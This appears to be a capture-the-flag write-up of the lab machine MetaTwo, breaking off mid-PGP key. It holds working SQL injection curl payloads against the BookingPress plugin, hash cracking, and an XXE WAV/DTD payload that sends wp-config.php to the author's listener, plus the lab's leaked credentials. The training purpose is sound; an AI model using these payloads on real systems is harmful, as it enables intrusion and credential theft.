
Introduction
In the sprawling landscape of cybersecurity, we often encounter a variety of digital fortresses — each with their unique layers of protection. MetaTwo is one such system. In this post, we will take a look into how we approach the penetration testing (pen-testing) of such a system.
Reconnaissance: The Art of Information Gathering
In the realm of cybersecurity, reconnaissance plays a key role. It is the initial phase where we attempt to gather as much information about the target as possible, often employing tools like nmap
.
Nmap Scan: Revealing the Open Ports
nmap
is a free and open-source network scanner designed to discover hosts, services, and open ports to construct a “map” of the network. In our case, it helped identify the open ports on the MetaTwo system. Here’s the nmap command and the corresponding result:
1nmap 10.129.228.95
1Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-15 15:57 GMT2Nmap scan report for metatwo.htb (10.129.228.95)3Host is up (0.016s latency).4Not shown: 997 closed tcp ports (reset)5PORT STATE SERVICE621/tcp open ftp722/tcp open ssh880/tcp open http9
10Nmap done: 1 IP address (1 host up) scanned in 2.03 seconds
Our nmap
scan reveals that there are 3 open ports. The HTTP port (80/tcp), in particular, is interesting because when accessed through a web browser, it redirects to metapress.htb
. Therefore, I added that to our hosts file:
1echo "10.129.228.95 metapress.htb" >> /etc/hosts
Upon visiting the newly assigned URL, we are able to see the contents served over HTTP. The URL is: http://metapress.htb/.
A Deep Dive into WordPress Exploitation
Our reconnaissance revealed that we are dealing with a WordPress site. WordPress, being a popular content management system, is frequently a target of exploits due to its history of vulnerabilities and the susceptibility of its various plugins.
Analysis of the WordPress Site

I made a list of all the available pages by submitting an empty search. A careful inspection of these pages provided us with several potential avenues for investigation, such as possible vulnerable plugins or potential forms of payment systems.
Here is a list of the discovered pages:
- http://metapress.htb/events/ - includes some booking/calendar form flow (could be a vulnerable plugin?)
- http://metapress.htb/about-us/ - nothing of note
- http://metapress.htb/cancel-payment/ - A page for payment errors, hints at some form of payment system
- http://metapress.htb/cancel-appointment/ - page for cancelled appointment message
- http://metapress.htb/thank-you/ - appointment booking success page. Renders details of appointment (service, date/time, customer name) - maybe we can render something here if we get RCE?
- http://metapress.htb/sample-page/ - sample page, contains a link to the wp-admin portal (http://metapress.htb/wp-login.php?redirect_to=http%3A%2F%2Fmetapress.htb%2Fwp-admin%2F&reauth=1)
- http://metapress.htb/hello-world/ - welcome page - enumerates an
admin
username as the author
A look into the source code and searching for generator
revealed that the site was built on WordPress version 5.6.2
, utilising the bookingpress v1.0.10 plugin
and twentytwwentyone v1.1 theme
. With these details, we were able to investigate known vulnerabilities:
1<meta name="generator" content="WordPress 5.6.2" />
Just above that line we can also see that it’s using the bookingpress v1.0.10
plugin for the appointment booking system.
And the theme is twentytwwentyone v1.1.

A critical SQL Injection vulnerability was found in the WordPress BookingPress Plugin v1.0.10, discovered and reported by cydave. The vulnerability could allow an attacker to interact directly with your database — stealing information or creating new administrator accounts. This issue was patched in version 1.0.11.
Read more about the vulnerability here.
1## https://sploitus.com/exploit?id=WPEX-ID:388CD42D-B61A-42A4-8604-99B812DB23572- Create a new "category" and associate it with a new "service" via the BookingPress admin menu (/wp-admin/admin.php?page=bookingpress_services)3- Create a new page with the "[bookingpress_form]" shortcode embedded (the "BookingPress Step-by-step Wizard Form")4- Visit the just created page as an unauthenticated user and extract the "nonce" (view source -> search for "action:'bookingpress_front_get_category_services'")5- Invoke the following curl command6
7curl -i 'https://example.com/wp-admin/admin-ajax.php' \8--data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'9
10Time based payload: curl -i 'https://example.com/wp-admin/admin-ajax.php' \11--data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=1&total_service=1) AND (SELECT 9578 FROM (SELECT(SLEEP(5)))iyUp)-- ZmjH'
Launching an SQL Injection Exploit
SQL Injection is a code injection technique that attackers can use to insert malicious SQL statements into input fields for execution by the underlying SQL database. In our case, this is precisely the vulnerability present in the BookingPress Plugin.
As instructed in the exploit lets grab the nonce from the events source code.

_wpnonce:'b0def982ab'
b0def982ab
Next we use it in the following command to test if it works:
1curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' \2--data 'action=bookingpress_front_get_category_services&_wpnonce=b0def982ab&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
1┌──(root㉿kali)-[/home/dan/HTB/metatwo]2└─# curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' \3--data 'action=bookingpress_front_get_category_services&_wpnonce=b0def982ab&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'4HTTP/1.1 200 OK5Server: nginx/1.18.06Date: Thu, 15 Dec 2022 16:23:23 GMT7Content-Type: text/html; charset=UTF-88Transfer-Encoding: chunked9Connection: keep-alive10X-Powered-By: PHP/8.0.2411X-Robots-Tag: noindex12X-Content-Type-Options: nosniff13Expires: Wed, 11 Jan 1984 05:00:00 GMT14Cache-Control: no-cache, must-revalidate, max-age=015X-Frame-Options: SAMEORIGIN16Referrer-Policy: strict-origin-when-cross-origin17
18[{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1","bookingpress_category_id":"Debian 11","bookingpress_service_name":"debian-linux-gnu","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]
Looks like it works, we’ve managed to enumerate the database a bit.
Next we can try querying the users table by altering the SQLi request:
1curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' \2--data 'action=bookingpress_front_get_category_services&_wpnonce=b0def982ab&category_id=33&total_service=-7502) UNION ALL SELECT user_login,user_email,user_pass,1,2,3,4,5,6 from wp_users-- -'
1[2 {3 "bookingpress_service_id": "admin",45 "bookingpress_service_name": "$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.",6 "bookingpress_service_price": "$1.00",7 "bookingpress_service_duration_val": "2",8 "bookingpress_service_duration_unit": "3",9 "bookingpress_service_description": "4",10 "bookingpress_service_position": "5",11 "bookingpress_servicedate_created": "6",12 "service_price_without_currency": 1,13 "img_url": "http:\\/\\/metapress.htb\\/wp-content\\/plugins\\/bookingpress-appointment-booking\\/images\\/placeholder-img.jpg"14 },15 {16 "bookingpress_service_id": "manager",1718 "bookingpress_service_name": "$P$B4aNM28N0E.tMy\\/JIcnVMZbGcU16Q70",19 "bookingpress_service_price": "$1.00",20 "bookingpress_service_duration_val": "2",21 "bookingpress_service_duration_unit": "3",22 "bookingpress_service_description": "4",23 "bookingpress_service_position": "5",24 "bookingpress_servicedate_created": "6",25 "service_price_without_currency": 1,26 "img_url": "http:\\/\\/metapress.htb\\/wp-content\\/plugins\\/bookingpress-appointment-booking\\/images\\/placeholder-img.jpg"27 }28]
So we’ve got 2 users, emails, and passwords.
- admin -
[email protected]
-$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
- manager -
[email protected]
-$P$B4aNM28N0E.tMy\\/JIcnVMZbGcU16Q70
After successfully extracting the usernames, emails, and password hashes of two users, I attempted to crack the hashes. I achieved this by using John the Ripper, a popular password cracking tool.
Add hashes to a file:
1┌──(dan㉿kali)-[~/HTB/metatwo]2└─$ vim hashes
1┌──(dan㉿kali)-[~/HTB/metatwo]2└─$ cat hashes3admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.4manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
Attempt crack:
1┌──(dan㉿kali)-[~/HTB/metatwo]2└─$ john -w=/usr/share/wordlists/rockyou.txt hashes3Using default input encoding: UTF-84Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])5Cost 1 (iteration count) is 8192 for all loaded hashes6Will run 12 OpenMP threads7Press 'q' or Ctrl-C to abort, almost any other key for status8partylikearockstar (manager)
Looks like we got a login!
manager
: partylikearockstar
The result? We obtained the password for the ‘manager’ account: partylikearockstar. With these credentials, we can now attempt to log into the WordPress admin panel.
Exploiting WordPress Admin Privileges
WP Admin panel as manager

Armed with the newly obtained ‘manager’ credentials, I managed to gain access to the WordPress (WP) admin panel, revealing that this user has the ability to upload new media.

Identifying Vulnerabilities
It’s essential to point out that the WordPress version we’re dealing with is 5.6.2, which is known to be vulnerable to XML External Entity (XXE) exploitation (CVE-2021-29447
). If you’re interested, you can read more about the vulnerability and the affected versions here.
WordPress versions 5.7, 5.6.2, 5.6.1, 5.6, 5.0.11 are affected to XML eXternal Entity vulnerability where an authenticated user with the ability to upload files in the Media Library can upload a malicious WAVE file that could lead to remote arbitrary file disclosure and server-side request forgery (SSRF).
Crafting an XXE Attack
To exploit this vulnerability, I decided to craft a malicious WAVE file that would call a HTTP server on our machine and pass it a malicious file containing Remote Code Execution (RCE) XML.
Our payload aimed to grab the wp-config.php
file, which is crucial because it contains sensitive information such as database connection settings.
1┌──(dan㉿kali)-[~/HTB/metatwo]2└─$ cat payload.dtd3<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">4<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.99/?p=%file;'>" >
Craft the malicious WAV file:
1echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.99/payload.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
Start our webserver:
1python3 -m http.server 80
After creating the malicious WAVE file and initiating our web server, we are ready to upload our WAV file.

This should trigger a response on our listening server:
1┌──(dan㉿kali)-[~/HTB/metatwo]2└─$ python3 -m http.server 803Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...410.129.228.95 - - [15/Dec/2022 22:38:49] "GET /payload.dtd HTTP/1.1" 200 -510.129.228.95 - - [15/Dec/2022 22:38:49] "GET /?p=PD9waHANCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICdibG9nJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgdXNlcm5hbWUgKi8NCmRlZmluZSggJ0RCX1VTRVInLCAnYmxvZycgKTsNCg0KLyoqIE15U1FMIGRhdGFiYXNlIHBhc3N3b3JkICovDQpkZWZpbmUoICdEQl9QQVNTV09SRCcsICc2MzVBcUBUZHFyQ3dYRlVaJyApOw0KDQovKiogTXlTUUwgaG9zdG5hbWUgKi8NCmRlZmluZSggJ0RCX0hPU1QnLCAnbG9jYWxob3N0JyApOw0KDQovKiogRGF0YWJhc2UgQ2hhcnNldCB0byB1c2UgaW4gY3JlYXRpbmcgZGF0YWJhc2UgdGFibGVzLiAqLw0KZGVmaW5lKCAnREJfQ0hBUlNFVCcsICd1dGY4bWI0JyApOw0KDQovKiogVGhlIERhdGFiYXNlIENvbGxhdGUgdHlwZS4gRG9uJ3QgY2hhbmdlIHRoaXMgaWYgaW4gZG91YnQuICovDQpkZWZpbmUoICdEQl9DT0xMQVRFJywgJycgKTsNCg0KZGVmaW5lKCAnRlNfTUVUSE9EJywgJ2Z0cGV4dCcgKTsNCmRlZmluZSggJ0ZUUF9VU0VSJywgJ21ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfUEFTUycsICc5TllTX2lpQEZ5TF9wNU0yTnZKJyApOw0KZGVmaW5lKCAnRlRQX0hPU1QnLCAnZnRwLm1ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfQkFTRScsICdibG9nLycgKTsNCmRlZmluZSggJ0ZUUF9TU0wnLCBmYWxzZSApOw0KDQovKiojQCsNCiAqIEF1dGhlbnRpY2F0aW9uIFVuaXF1ZSBLZXlzIGFuZCBTYWx0cy4NCiAqIEBzaW5jZSAyLjYuMA0KICovDQpkZWZpbmUoICdBVVRIX0tFWScsICAgICAgICAgJz8hWiR1R08qQTZ4T0U1eCxwd2VQNGkqejttYHwuWjpYQClRUlFGWGtDUnlsN31gclhWRz0zIG4+KzNtPy5CLzonICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9LRVknLCAgJ3gkaSQpYjBdYjFjdXA7NDdgWVZ1YS9KSHElKjhVQTZnXTBid29FVzo5MUVaOWhdcldsVnElSVE2NnBmez1dYSUnICk7DQpkZWZpbmUoICdMT0dHRURfSU5fS0VZJywgICAgJ0orbXhDYVA0ejxnLjZQXnRgeml2PmRkfUVFaSU0OCVKblJxXjJNakZpaXRuIyZuK0hYdl18fEUrRn5De3FLWHknICk7DQpkZWZpbmUoICdOT05DRV9LRVknLCAgICAgICAgJ1NtZURyJCRPMGppO145XSpgfkdOZSFwWEBEdldiNG05RWQ9RGQoLnItcXteeihGPyk3bXhOVWc5ODZ0UU83TzUnICk7DQpkZWZpbmUoICdBVVRIX1NBTFQnLCAgICAgICAgJ1s7VEJnYy8sTSMpZDVmW0gqdGc1MGlmVD9adi41V3g9YGxAdiQtdkgqPH46MF1zfWQ8Jk07Lix4MHp+Uj4zIUQnICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9TQUxUJywgJz5gVkFzNiFHOTU1ZEpzPyRPNHptYC5RO2FtaldedUpya18xLWRJKFNqUk9kV1tTJn5vbWlIXmpWQz8yLUk/SS4nICk7DQpkZWZpbmUoICdMT0dHRURfSU5fU0FMVCcsICAgJzRbZlNeMyE9JT9ISW9wTXBrZ1lib3k4LWpsXmldTXd9WSBkfk49Jl5Kc0lgTSlGSlRKRVZJKSBOI05PaWRJZj0nICk7DQpkZWZpbmUoICdOT05DRV9TQUxUJywgICAgICAgJy5zVSZDUUBJUmxoIE87NWFzbFkrRnE4UVdoZVNOeGQ2VmUjfXchQnEsaH1WOWpLU2tUR3N2JVk0NTFGOEw9YkwnICk7DQoNCi8qKg0KICogV29yZFByZXNzIERhdGFiYXNlIFRhYmxlIHByZWZpeC4NCiAqLw0KJHRhYmxlX3ByZWZpeCA9ICd3cF8nOw0KDQovKioNCiAqIEZvciBkZXZlbG9wZXJzOiBXb3JkUHJlc3MgZGVidWdnaW5nIG1vZGUuDQogKiBAbGluayBodHRwczovL3dvcmRwcmVzcy5vcmcvc3VwcG9ydC9hcnRpY2xlL2RlYnVnZ2luZy1pbi13b3JkcHJlc3MvDQogKi8NCmRlZmluZSggJ1dQX0RFQlVHJywgZmFsc2UgKTsNCg0KLyoqIEFic29sdXRlIHBhdGggdG8gdGhlIFdvcmRQcmVzcyBkaXJlY3RvcnkuICovDQppZiAoICEgZGVmaW5lZCggJ0FCU1BBVEgnICkgKSB7DQoJZGVmaW5lKCAnQUJTUEFUSCcsIF9fRElSX18gLiAnLycgKTsNCn0NCg0KLyoqIFNldHMgdXAgV29yZFByZXNzIHZhcnMgYW5kIGluY2x1ZGVkIGZpbGVzLiAqLw0KcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3Atc2V0dGluZ3MucGhwJzsNCg== HTTP/1.1" 200 -
Decoding the Response
The next part was decoding the response to obtain the PHP file. Once decoded, it provided us with some precious credentials for further exploitation.
1echo -n 'PD9waHANCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICdibG9nJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgdXNlcm5hbWUgKi8NCmRlZmluZSggJ0RCX1VTRVInLCAnYmxvZycgKTsNCg0KLyoqIE15U1FMIGRhdGFiYXNlIHBhc3N3b3JkICovDQpkZWZpbmUoICdEQl9QQVNTV09SRCcsICc2MzVBcUBUZHFyQ3dYRlVaJyApOw0KDQovKiogTXlTUUwgaG9zdG5hbWUgKi8NCmRlZmluZSggJ0RCX0hPU1QnLCAnbG9jYWxob3N0JyApOw0KDQovKiogRGF0YWJhc2UgQ2hhcnNldCB0byB1c2UgaW4gY3JlYXRpbmcgZGF0YWJhc2UgdGFibGVzLiAqLw0KZGVmaW5lKCAnREJfQ0hBUlNFVCcsICd1dGY4bWI0JyApOw0KDQovKiogVGhlIERhdGFiYXNlIENvbGxhdGUgdHlwZS4gRG9uJ3QgY2hhbmdlIHRoaXMgaWYgaW4gZG91YnQuICovDQpkZWZpbmUoICdEQl9DT0xMQVRFJywgJycgKTsNCg0KZGVmaW5lKCAnRlNfTUVUSE9EJywgJ2Z0cGV4dCcgKTsNCmRlZmluZSggJ0ZUUF9VU0VSJywgJ21ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfUEFTUycsICc5TllTX2lpQEZ5TF9wNU0yTnZKJyApOw0KZGVmaW5lKCAnRlRQX0hPU1QnLCAnZnRwLm1ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfQkFTRScsICdibG9nLycgKTsNCmRlZmluZSggJ0ZUUF9TU0wnLCBmYWxzZSApOw0KDQovKiojQCsNCiAqIEF1dGhlbnRpY2F0aW9uIFVuaXF1ZSBLZXlzIGFuZCBTYWx0cy4NCiAqIEBzaW5jZSAyLjYuMA0KICovDQpkZWZpbmUoICdBVVRIX0tFWScsICAgICAgICAgJz8hWiR1R08qQTZ4T0U1eCxwd2VQNGkqejttYHwuWjpYQClRUlFGWGtDUnlsN31gclhWRz0zIG4+KzNtPy5CLzonICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9LRVknLCAgJ3gkaSQpYjBdYjFjdXA7NDdgWVZ1YS9KSHElKjhVQTZnXTBid29FVzo5MUVaOWhdcldsVnElSVE2NnBmez1dYSUnICk7DQpkZWZpbmUoICdMT0dHRURfSU5fS0VZJywgICAgJ0orbXhDYVA0ejxnLjZQXnRgeml2PmRkfUVFaSU0OCVKblJxXjJNakZpaXRuIyZuK0hYdl18fEUrRn5De3FLWHknICk7DQpkZWZpbmUoICdOT05DRV9LRVknLCAgICAgICAgJ1NtZURyJCRPMGppO145XSpgfkdOZSFwWEBEdldiNG05RWQ9RGQoLnItcXteeihGPyk3bXhOVWc5ODZ0UU83TzUnICk7DQpkZWZpbmUoICdBVVRIX1NBTFQnLCAgICAgICAgJ1s7VEJnYy8sTSMpZDVmW0gqdGc1MGlmVD9adi41V3g9YGxAdiQtdkgqPH46MF1zfWQ8Jk07Lix4MHp+Uj4zIUQnICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9TQUxUJywgJz5gVkFzNiFHOTU1ZEpzPyRPNHptYC5RO2FtaldedUpya18xLWRJKFNqUk9kV1tTJn5vbWlIXmpWQz8yLUk/SS4nICk7DQpkZWZpbmUoICdMT0dHRURfSU5fU0FMVCcsICAgJzRbZlNeMyE9JT9ISW9wTXBrZ1lib3k4LWpsXmldTXd9WSBkfk49Jl5Kc0lgTSlGSlRKRVZJKSBOI05PaWRJZj0nICk7DQpkZWZpbmUoICdOT05DRV9TQUxUJywgICAgICAgJy5zVSZDUUBJUmxoIE87NWFzbFkrRnE4UVdoZVNOeGQ2VmUjfXchQnEsaH1WOWpLU2tUR3N2JVk0NTFGOEw9YkwnICk7DQoNCi8qKg0KICogV29yZFByZXNzIERhdGFiYXNlIFRhYmxlIHByZWZpeC4NCiAqLw0KJHRhYmxlX3ByZWZpeCA9ICd3cF8nOw0KDQovKioNCiAqIEZvciBkZXZlbG9wZXJzOiBXb3JkUHJlc3MgZGVidWdnaW5nIG1vZGUuDQogKiBAbGluayBodHRwczovL3dvcmRwcmVzcy5vcmcvc3VwcG9ydC9hcnRpY2xlL2RlYnVnZ2luZy1pbi13b3JkcHJlc3MvDQogKi8NCmRlZmluZSggJ1dQX0RFQlVHJywgZmFsc2UgKTsNCg0KLyoqIEFic29sdXRlIHBhdGggdG8gdGhlIFdvcmRQcmVzcyBkaXJlY3RvcnkuICovDQppZiAoICEgZGVmaW5lZCggJ0FCU1BBVEgnICkgKSB7DQoJZGVmaW5lKCAnQUJTUEFUSCcsIF9fRElSX18gLiAnLycgKTsNCn0NCg0KLyoqIFNldHMgdXAgV29yZFByZXNzIHZhcnMgYW5kIGluY2x1ZGVkIGZpbGVzLiAqLw0KcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3Atc2V0dGluZ3MucGhwJzsNCg==' | base64 -d
Giving us the decoded PHP file:
1<?php2/** The name of the database for WordPress */3define( 'DB_NAME', 'blog' );4
5/** MySQL database username */6define( 'DB_USER', 'blog' );7
8/** MySQL database password */9define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );10
11/** MySQL hostname */12define( 'DB_HOST', 'localhost' );13
14/** Database Charset to use in creating database tables. */15define( 'DB_CHARSET', 'utf8mb4' );16
17/** The Database Collate type. Don't change this if in doubt. */18define( 'DB_COLLATE', '' );19
20define( 'FS_METHOD', 'ftpext' );21define( 'FTP_USER', 'metapress.htb' );22define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );23define( 'FTP_HOST', 'ftp.metapress.htb' );24define( 'FTP_BASE', 'blog/' );25define( 'FTP_SSL', false );26
27/**#@+28 * Authentication Unique Keys and Salts.29 * @since 2.6.030 */31define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );32define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );33define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );34define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );35define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );36define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );37define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );38define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );39
40/**41 * WordPress Database Table prefix.42 */43$table_prefix = 'wp_';44
45/**46 * For developers: WordPress debugging mode.47 * @link https://wordpress.org/support/article/debugging-in-wordpress/48 */49define( 'WP_DEBUG', false );50
51/** Absolute path to the WordPress directory. */52if ( ! defined( 'ABSPATH' ) ) {53 define( 'ABSPATH', __DIR__ . '/' );54}55
56/** Sets up WordPress vars and included files. */57require_once ABSPATH . 'wp-settings.php';
Excellent we now have some credentials.
Database: blog::635Aq@TdqrCwXFUZ
FTP: metapress.htb::9NYS_ii@FyL_p5M2NvJ
- ftp.metapress.htb
System Exploitation and SSH Access
FTP Exploration and Exploitation
The credentials obtained allow us to connect to an FTP server and rummage around its contents. I found a PHP file in the mailer folder which provided us with further credentials for an email server.
1┌──(dan㉿kali)-[~/HTB/metatwo]23Connected to metapress.htb.4220 ProFTPD Server (Debian) [::ffff:10.129.228.95]5331 Password required for metapress.htb6Password:7230 User metapress.htb logged in8Remote system type is UNIX.9Using binary mode to transfer files.10ftp> dir11229 Entering Extended Passive Mode (|||8957|)12150 Opening ASCII mode data connection for file list13drwxr-xr-x 5 metapress.htb metapress.htb 4096 Oct 5 14:12 blog14drwxr-xr-x 3 metapress.htb metapress.htb 4096 Oct 5 14:12 mailer15226 Transfer complete16ftp> cd ../mailer17250 CWD command successful18ftp> dir19229 Entering Extended Passive Mode (|||25853|)20150 Opening ASCII mode data connection for file list21drwxr-xr-x 4 metapress.htb metapress.htb 4096 Oct 5 14:12 PHPMailer22-rw-r--r-- 1 metapress.htb metapress.htb 1126 Jun 22 18:32 send_email.php23226 Transfer complete24ftp> get send_email.php25local: send_email.php remote: send_email.php26229 Entering Extended Passive Mode (|||62458|)27150 Opening BINARY mode data connection for send_email.php (1126 bytes)28100% |*****************************************************************************************| 1126 698.60 KiB/s 00:00 ETA29226 Transfer complete301126 bytes received in 00:00 (61.62 KiB/s)

1$mail->Host = "mail.metapress.htb";2$mail->SMTPAuth = true;34$mail->Password = "Cb4_JmWM8zUZWMu@Ys";5$mail->SMTPSecure = "tls";6$mail->Port = 587;
Looks like we got some more credentials, this time for an email server.
[email protected]::Cb4_JmWM8zUZWMu@Ys
Let’s try and SSH into the server with these credentials.
SSH Access and User Flag

With the new credentials in hand, we are able to establish an SSH connection. However, this user does not have any root commands, necessitating further enumeration.
I first checked for the user flag and found it. However, the journey didn’t end there.
1jnelson@meta2:~$ ls2user.txt3jnelson@meta2:~$ cat user.txt4757c1f16eecb41bc07b7d84218a4a40a
Unlocking PGP Keys and Cracking the Password
Upon further exploration, I discovered a hidden folder named .passpie
in the user’s home. This folder contained a PGP pair of public and private keys. After extracting the private key and cracking the password with John the Ripper, I managed to obtain the password: blink182
.
1jnelson@meta2:~/.passpie$ cat .keys2-----BEGIN PGP PUBLIC KEY BLOCK-----3
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